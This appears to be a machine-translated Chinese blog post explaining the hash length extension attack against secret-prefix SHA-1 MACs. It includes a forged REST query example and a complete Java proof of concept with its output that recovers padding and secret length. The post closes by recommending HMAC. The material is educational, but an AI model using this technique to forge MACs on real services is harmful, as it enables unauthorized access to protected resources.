在这篇文章中，我将尽力避免夏季的低迷，而将重点放在比抱怨天气更有趣的事情上-哈希长度扩展攻击。

散列长度扩展攻击并不复杂也不复杂，说实话，这只是关于如何使用散列函数。 正如我以前的一篇文章中所讨论的那样，哈希函数有多种类型，但是这篇文章着重于加密哈希函数。 我们将不分析大多数当前加密哈希函数所基于的Merkle–Damgard构造的结构。 需要了解的事实如下：

• 哈希函数以固定的块大小运行
• 输入数据被分割成适合块大小的部分
• 如果输入数据（或其一部分）小于块大小，则会填充缺少的字节
• 哈希值表示哈希函数的内部状态！

这意味着即使原始输入仍然未知，也可以选择在知道哈希值的情况下继续进行哈希计算。 唯一要做的就是将哈希函数的内部状态重置为哈希值之一。

这只是事实的一半，因为如果我们不知道输入数据，就不知道需要多少填充来完成哈希操作。

哈希函数执行了以下操作（在例如调用Java engineDigest（）之后）：
继续直到到达最后一个块

• 垫最后一块
• 输出摘要
• 重置内部状态

真正散列的是这样的东西

h（m）=数据+填充

如果我们想继续散列，我们必须猜测数据的长度，以确定确切的填充。 一旦我们猜出了正确的长度，就可以将哈希扩展到以下内容

h（m）=（数据+填充）+ ourExtension + newPadding

幸运的是，填充格式必须是确定性的（以便通过传递相同的输入数据来重新创建哈希值），因此知道数据的长度就可以重新填充。 完成这些步骤后，在输出摘要时，我们便具有哈希函数的完整内部状态。

如何使用

2009年， Rizzo和Duong使用哈希长度扩展攻击来危害Flickr 。 为了简单起见，我们进行以下假设：

Web服务通过基于哈希函数计算某种消息身份验证代码（MAC）来保护其REST API

MAC = h（SECRET_PASSWORD +资源）

对受保护资源的有效REST查询如下所示

http：//…/ someAction？resource = validMACsOnly＆mac = xxxxxxxx

如果附加的MAC有效，则用户只能对资源执行所需的操作。 通过尝试猜测秘密密码来进行攻击似乎是一种蛮力任务……

攻击

有了如何扩展哈希值的知识，就可以在不知道秘密密码的情况下提供有效的MAC。 为此，在输出摘要时，必须使用内部状态重置使用的哈希函数。 因此，我们将mac参数的值设置为哈希函数的内部状态。 有了这些前提条件，我们就能计算出有效的MAC。

但这只是一半，因为服务器仅在所计算的MAC属于所传递的资源参数时才授予访问权限。 因此，下一步，我们必须猜测原始填充。 要获得该填充，我们只需尝试所有可能的填充，直到其中之一适合为止。

如果我们设法正确填充，我们就完成了。 因此，在进行旧的填充（填充已知块大小的块是必需的）之后，我们开始在新的块中进行。 因此，服务器验证以下内容

h（m）=（oldData + recoveryPadding）+（ourExtension + newPadding）请记住，h（m）=（oldData + recoveryPadding）是导致已知MAC的旧数据。 扩展数据从新块开始，这意味着旧填充被视为输入数据的一部分，而不是填充。

修改后的查询如下所示：

http：//…/ someAction？resource = validMACsOnly \ x80 \ x00…\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD8＆mac = xxxxxxxx

填充上的一些单词：

• 填充以\ x80开头
• 所需的填充空间用\ x00s填充
• 最后8个字节代表数据长度（无填充）

码

对于渴望使用此功能的每个人，这里是计算有效扩展的代码。 对于PoC，修补了通用的SHA1库以访问其内部状态。 修改后的类来自Java安全提供程序。

import java.nio.charset.Charset;
import java.security.DigestException;
import java.util.Formatter;/*** Hash length extension attack - PoC.** @author Christopher Meyer - christopher.meyer@rub.de* @version 0.1** Jul 25, 2012*/
public class HashLengthExtension {/*** Secret key.*/private static final String KEY = "NoNeedToRecoverKey";/*** String to be MACed together with the key.*/private static final String TOMAC = "SecuredResource";/*** Extension string to be added to the MAC.*/private static final String EXTENSION = "TheResourceRemainsUnsecured";/*** Static Hash algorithm instance.*/private static final SHA1 HASH_ALGO = new SHA1();/*** Blocksize of the algorithm in bytes.*/private static final int BLOCKSIZE = 64;/*** Padding.*/private static final byte[] PADDING = new byte[136];static {// the first padding byte is 0x80 - by definitionPADDING[0] = (byte) 0x80;}/*** Computes a valid input that extends a given hash.** @param args the command line arguments*/public static void main(String[] args) throws DigestException {byte[] extensionBytes = EXTENSION.getBytes(Charset.forName("UTF8"));byte[] toMACBytes = TOMAC.getBytes(Charset.forName("UTF8"));byte[] originalMAC = createMAC(toMACBytes);System.out.println("Original MAC  : "+ buildHexString(originalMAC));byte[] macCandidate;byte[] hashInput;int pointer = 0;System.out.println("Recover digest state...");HASH_ALGO.engineReset();// set internal state to the one of the original MACHASH_ALGO.state[0] = bytesToInt(originalMAC[0], originalMAC[1],originalMAC[2], originalMAC[3]);HASH_ALGO.state[1] = bytesToInt(originalMAC[4], originalMAC[5],originalMAC[6], originalMAC[7]);HASH_ALGO.state[2] = bytesToInt(originalMAC[8], originalMAC[9],originalMAC[10], originalMAC[11]);HASH_ALGO.state[3] = bytesToInt(originalMAC[12], originalMAC[13],originalMAC[14], originalMAC[15]);HASH_ALGO.state[4] = bytesToInt(originalMAC[16], originalMAC[17],originalMAC[18], originalMAC[19]);HASH_ALGO.bytesProcessed = BLOCKSIZE;System.out.println("Compute extension MAC...");HASH_ALGO.engineUpdate(extensionBytes, 0, extensionBytes.length);// compute the extended hashmacCandidate = HASH_ALGO.engineDigest();System.out.println("Extended MAC  : "+ buildHexString(macCandidate));System.out.println("Trying to find suitable input....");// determine the necessary input....int j = 0;for (int i = 1; i <= PADDING.length; i++) {hashInput = new byte[toMACBytes.length + i+ 8 + extensionBytes.length];pointer = 0;/*** Compute new input*/// # add original messageSystem.arraycopy(toMACBytes, 0, hashInput, pointer,toMACBytes.length);pointer += toMACBytes.length;// # add paddingSystem.arraycopy(PADDING, 0, hashInput, pointer, i);pointer += i;// # add length of user data (8 bytes)// j is the computed length of the original message in bits// (blockSize - padding length - 8 length bytes)j = (BLOCKSIZE - i - 8) << 3;// the first word is 0 in our case, due to only 32 bit inthashInput[pointer] = 0;hashInput[pointer + 1] = 0;hashInput[pointer + 2] = 0;hashInput[pointer + 3] = 0;hashInput[pointer + 4] = (byte) ((j >>> 24));hashInput[pointer + 5] = (byte) ((j >>> 16));hashInput[pointer + 6] = (byte) ((j >>> 8));hashInput[pointer + 7] = (byte) (j);pointer += 8;// # add extensionSystem.arraycopy(extensionBytes, 0, hashInput, pointer,extensionBytes.length);pointer += extensionBytes.length;// # check guessif (isMACCorrect(macCandidate, hashInput)) {System.out.println("==> Hash input    : "+ buildHexString(hashInput));System.out.println("==> Padding Length: "+ i);System.out.println("==> Secret Length : "+ (BLOCKSIZE - toMACBytes.length - i - 8));break;}}}/*** Convert a byte[] to int.** @param bytes 4 bytes array to be converted* @return Integer representation of the byte[]*/private static int bytesToInt(byte... bytes) {return (int) ((0xFF & bytes[0]) << 24| (0xFF & bytes[1]) << 16| (0xFF & bytes[2]) << 8| (0xFF & bytes[3]));}/*** Checks if the input results creates the expected MAC.** @param macToCheck Expected MAC* @param msg Modified input for MAC function (secret key remains unknown)* @return True if the modified input creates the expected MAC* @throws DigestException*/private static final boolean isMACCorrect(final byte[] macToCheck,final byte[] msg) throws DigestException {boolean result = true;byte[] referenceHash = createMAC(msg);System.out.println("Reference hash: "+ buildHexString(referenceHash));if (referenceHash.length != macToCheck.length) {result = false;} else {for (int i = 0; i < referenceHash.length; i++) {if (referenceHash[i] != macToCheck[i]) {result = false;break;}}}return result;}/*** Converts a byte[] to its Hex representation* @param bytes Bytes to be converted* @return Hex String of the passed byte[].*/private static String buildHexString(byte[] bytes) {StringBuilder sb = new StringBuilder(bytes.length);Formatter formatter = new Formatter(sb);for (Byte tmpByte : bytes) {formatter.format("%02x ", tmpByte);}return sb.toString();}/*** Creates a weak MAC of the form h(secret + msg).** @param msg Message to get MACed* @return Weak MAC* @throws DigestException*/private static final byte[] createMAC(final byte[] msg) throwsDigestException {byte[] utf8KeyBytes = KEY.getBytes(Charset.forName("UTF8"));HASH_ALGO.engineReset();HASH_ALGO.engineUpdate(utf8KeyBytes, 0, utf8KeyBytes.length);HASH_ALGO.engineUpdate(msg, 0, msg.length);return HASH_ALGO.engineDigest();}
}

运行上面的示例将创建以下输出：

跑：

Original MAC  : a9 fb f9 84 91 f3 8b 56 ee f7 34 73 ba fc 4b bf d5 0b 03 b8
Recover digest state...
Compute extension MAC...
Extended MAC  : ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65
Trying to find suitable input....
Reference hash: 91 6c 2c d4 0b 7e a0 ec d4 57 ad f3 e6 b6 db 2e 57 e6 0e 9d
Reference hash: 46 98 09 77 59 ff 57 f7 b1 28 26 80 f0 9d 5e 96 14 5a 9d 77
Reference hash: 43 75 ea fc 1c 1d e6 51 a1 c0 9d 38 9f 31 c7 52 17 e6 9f a9
Reference hash: 6d 5c f9 9b af 26 6f ca dd 61 1c 16 71 a3 ac fb 60 82 57 76
Reference hash: 78 95 9a e5 81 30 00 5d 61 0b 5c 81 5e 9a 2d 3d 71 da e3 5a
Reference hash: 2d cf 0b 01 09 be 59 5d 76 e0 64 ee 44 27 44 12 48 96 cb 73
Reference hash: 11 e3 08 1b f4 0f 8f ad a8 9e 66 4b 2f 97 ec 14 f5 59 4c 68
Reference hash: 59 96 fc e8 dd d3 db ae 43 9c 34 a4 1e cc 15 cf af 49 49 3f
Reference hash: e8 cb 3b cf b1 72 9b d1 21 33 75 39 7e 6d 23 b8 e1 a3 fc c7
Reference hash: f0 f4 55 e9 12 65 7d 90 65 4b 50 34 af 38 93 a1 dd 73 74 6d
Reference hash: 5a c9 7a d6 f0 6d d7 a8 17 c6 d8 fd ba 59 17 ae 6b ee e8 2b
Reference hash: 50 6c b9 07 d9 cd c9 bb 0a 6b 9b 89 ce 9f 07 7f d1 b8 48 10
Reference hash: c0 81 31 4c 65 f5 11 d0 13 56 7e 73 d6 04 f0 ff 6c 76 7a ac
Reference hash: 0e f1 eb 4f 8f 6f 7f 6f 5e b5 1d 3f 9c 15 ab 44 63 97 35 c3
Reference hash: f1 4e f2 81 e0 6c 0a f3 ae ef b4 db c7 09 1e 1d 34 7c 79 7d
Reference hash: 30 b5 54 5e 79 a6 d9 26 b6 9f 12 9a cc a6 44 ef 85 d7 17 b6
Reference hash: 09 19 1e 6a 92 79 a5 34 d5 6c a2 84 c7 0d c2 49 15 dc 6d d2
Reference hash: 56 4b 7f b7 f0 af 6f 2d 1d cd 0e d4 10 e6 d2 d3 db b0 f9 c0
Reference hash: c1 51 a7 47 2d de b3 43 a0 77 28 9a 6c 55 49 f2 61 5c 69 1a
Reference hash: 37 f2 7f 80 b2 50 3a 22 60 ae 10 67 74 1d e6 19 b1 32 de 48
Reference hash: a3 91 d6 20 ff 4b da 92 19 a0 fb bf 58 46 0a 5a fe 7c eb e1
Reference hash: 10 d9 aa 0a ff db 8f 0d 4c 3c f6 90 3a e9 40 bc 1a 12 d7 65
Reference hash: ba 92 0b 97 e9 27 c6 a8 91 84 6a 58 ed e3 e1 62 13 45 27 65
==> Hash input    : 53 65 63 75 72 65 64 52 65 73 6f 75 72 63 65 80 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 08
54 68 65 52 65 73 6f 75 72 63 65 52 65 6d 61 69 6e 73 55 6e 73 65 63 75 72 65
64
==> Padding Length: 23
==> Secret Length : 18

使用URL编码从hashInput生成的字符串为SecuredResource％80％01％08TheResourceRemainsUnsecured，原始资源，23个填充字节（包括％80），8个长度字节和新资源。 这样我们得到（64字节块大小– 23填充字节– 8个长度字节）* 8位= 264位原始数据（秘密+资源）== 01 08（十六进制表示）。

得到教训

不要通过创建自己的安全结构来滥用加密技术。 使用经过认可的功能和构造。 在这种情况下，使用HMAC功能将是更好的方法，而不是引入自己的MAC。

在WhiteHat Security Blog上可以找到关于此主题的非常好的博客条目。

参考： Java安全和相关主题博客上的JCG合作伙伴 Christopher Meyer提出的哈希长度扩展攻击 。